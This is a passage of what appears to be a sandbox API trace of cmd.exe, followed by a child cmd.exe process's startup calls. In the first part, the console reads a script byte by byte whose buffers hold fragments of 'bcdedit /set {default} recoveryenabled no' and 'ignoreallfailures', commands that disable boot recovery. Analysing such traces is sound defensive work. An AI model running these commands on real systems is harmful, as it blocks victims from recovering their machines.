lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c34, cchWideChar=1 | out: lpWideCharStr="aedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.693] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c36, cchWideChar=1 | out: lpWideCharStr="ddit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.694] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c38, cchWideChar=1 | out: lpWideCharStr="mit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.694] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3a, cchWideChar=1 | out: lpWideCharStr="it /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.694] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3c, cchWideChar=1 | out: lpWideCharStr="n /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.694] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3e, cchWideChar=1 | out: lpWideCharStr=" /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.694] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c40, cchWideChar=1 | out: lpWideCharStr="dset {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.694] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c42, cchWideChar=1 | out: lpWideCharStr="eet {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.694] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.694] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.694] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.694] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c44, cchWideChar=1 | out: lpWideCharStr="lt {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.695] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.695] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c46, cchWideChar=1 | out: lpWideCharStr="e {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.695] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.695] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c48, cchWideChar=1 | out: lpWideCharStr="t{default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.695] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.695] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4a, cchWideChar=1 | out: lpWideCharStr="edefault} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.695] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.695] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4c, cchWideChar=1 | out: lpWideCharStr=" efault} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.695] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.695] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4e, cchWideChar=1 | out: lpWideCharStr="cfault} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.695] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.695] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.695] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c50, cchWideChar=1 | out: lpWideCharStr="aault} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.695] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.695] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.695] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c52, cchWideChar=1 | out: lpWideCharStr="tult} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.696] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.696] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.696] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c54, cchWideChar=1 | out: lpWideCharStr="alt} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.696] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.696] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.696] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c56, cchWideChar=1 | out: lpWideCharStr="lt} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.696] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.696] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.696] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c58, cchWideChar=1 | out: lpWideCharStr="o} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.696] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.696] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.696] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5a, cchWideChar=1 | out: lpWideCharStr="g recoveryenabled no\nnoreallfailures\n") returned 1 [0131.696] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.696] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.696] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5c, cchWideChar=1 | out: lpWideCharStr=" recoveryenabled no\nnoreallfailures\n") returned 1 [0131.696] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.696] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.696] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5e, cchWideChar=1 | out: lpWideCharStr="-ecoveryenabled no\nnoreallfailures\n") returned 1 [0131.696] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.696] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.696] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c60, cchWideChar=1 | out: lpWideCharStr="qcoveryenabled no\nnoreallfailures\n") returned 1 [0131.697] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.697] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.697] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c62, cchWideChar=1 | out: lpWideCharStr="uoveryenabled no\nnoreallfailures\n") returned 1 [0131.697] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.697] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.697] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c64, cchWideChar=1 | out: lpWideCharStr="iveryenabled no\nnoreallfailures\n") returned 1 [0131.697] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.697] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.697] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c66, cchWideChar=1 | out: lpWideCharStr="eeryenabled no\nnoreallfailures\n") returned 1 [0131.697] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.697] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.697] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.697] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c68, cchWideChar=1 | out: lpWideCharStr="tryenabled no\nnoreallfailures\n") returned 1 [0131.697] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.697] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.697] ReadFile (hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0) Thread: id = 197 os_tid = 0xf94 Process: id = "17" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6e862000" os_pid = "0xf58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf38" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 186 os_tid = 0xf5c [0127.786] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6c4f00000 [0127.786] __set_app_type (_Type=0x1) [0127.786] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6c4f16d00) returned 0x0 [0127.786] __getmainargs (in: _Argc=0x7ff6c4f39200, _Argv=0x7ff6c4f39208, _Env=0x7ff6c4f39210, _DoWildCard=0, _StartInfo=0x7ff6c4f3921c | out: _Argc=0x7ff6c4f39200, _Argv=0x7ff6c4f39208, _Env=0x7ff6c4f39210) returned 0 [0127.786] _onexit (_Func=0x7ff6c4f17fd0) returned 0x7ff6c4f17fd0 [0127.786] _onexit (_Func=0x7ff6c4f17fe0) returned 0x7ff6c4f17fe0 [0127.786] _onexit (_Func=0x7ff6c4f17ff0) returned 0x7ff6c4f17ff0 [0127.787] _onexit (_Func=0x7ff6c4f18000) returned 0x7ff6c4f18000 [0127.787] _onexit (_Func=0x7ff6c4f18010) returned 0x7ff6c4f18010 [0127.787] _onexit (_Func=0x7ff6c4f18020) returned 0x7ff6c4f18020 [0127.787] GetCurrentThreadId () returned 0xf5c [0127.787] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf5c) returned 0x70 [0127.787] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffcc00e0000 [0127.788] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="SetThreadUILanguage") returned 0x7ffcc00fa990 [0127.788] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.789] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0127.789] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xa08f0f718 | out: phkResult=0xa08f0f718*=0x0) returned 0x2 [0127.790] VirtualQuery (in: lpAddress=0xa08f0f704, lpBuffer=0xa08f0f680, dwLength=0x30 | out: lpBuffer=0xa08f0f680*(BaseAddress=0xa08f0f000, AllocationBase=0xa08e10000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.790] VirtualQuery (in: lpAddress=0xa08e10000, lpBuffer=0xa08f0f680, dwLength=0x30 | out: lpBuffer=0xa08f0f680*(BaseAddress=0xa08e10000, AllocationBase=0xa08e10000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.790] VirtualQuery (in: lpAddress=0xa08e11000, lpBuffer=0xa08f0f680, dwLength=0x30 | out: lpBuffer=0xa08f0f680*(BaseAddress=0xa08e11000, AllocationBase=0xa08e10000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.790] VirtualQuery (in: lpAddress=0xa08e14000, lpBuffer=0xa08f0f680, dwLength=0x30 | out: lpBuffer=0xa08f0f680*(BaseAddress=0xa08e14000, AllocationBase=0xa08e10000, AllocationProtect=0x4, __alignment1=0xffff800c, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0127.790] VirtualQuery (in: lpAddress=0xa08f10000, lpBuffer=0xa08f0f680, dwLength=0x30 | out: lpBuffer=0xa08f0f680*(BaseAddress=0xa08f10000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff800c, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0127.790] GetConsoleOutputCP () returned 0x1b5 [0127.790] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0127.791] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6c4f28150, Add=1) returned 1 [0127.791] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.791] GetConsoleMode (in: hConsoleHandle=0x274, lpMode=0x7ff6c4f3fc04 | out: lpMode=0x7ff6c4f3fc04) returned 0 [0127.791] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.791] GetConsoleMode (in: hConsoleHandle=0x264, lpMode=0x7ff6c4f3fc00 | out: lpMode=0x7ff6c4f3fc00) returned 0 [0127.791] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.791] SetConsoleMode (hConsoleHandle=0x274, dwMode=0x0) returned 0 [0127.791] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.791] GetConsoleMode (in: hConsoleHandle=0x274, lpMode=0x7ff6c4f3fc08 | out: lpMode=0x7ff6c4f3fc08) returned 0 [0127.791] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.791] GetConsoleMode (in: hConsoleHandle=0x264, lpMode=0x7ff6c4f3fc0c | out: lpMode=0x7ff6c4f3fc0c) returned 0 [0127.791] GetEnvironmentStringsW () returned 0x1515c085a10* [0127.792] GetProcessHeap () returned 0x1515c080000 [0127.792] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xa7c) returned 0x1515c0864a0 [0127.792] FreeEnvironmentStringsA (penv="A") returned 1 [0127.792] GetProcessHeap () returned 0x1515c080000 [0127.792] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x8) returned 0x1515c086f30 [0127.792] GetEnvironmentStringsW () returned 0x1515c085a10* [0127.792] GetProcessHeap () returned 0x1515c080000 [0127.792] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xa7c) returned 0x1515c086f50 [0127.792] FreeEnvironmentStringsA (penv="A") returned 1 [0127.792] RegOpenKeyExW (in: 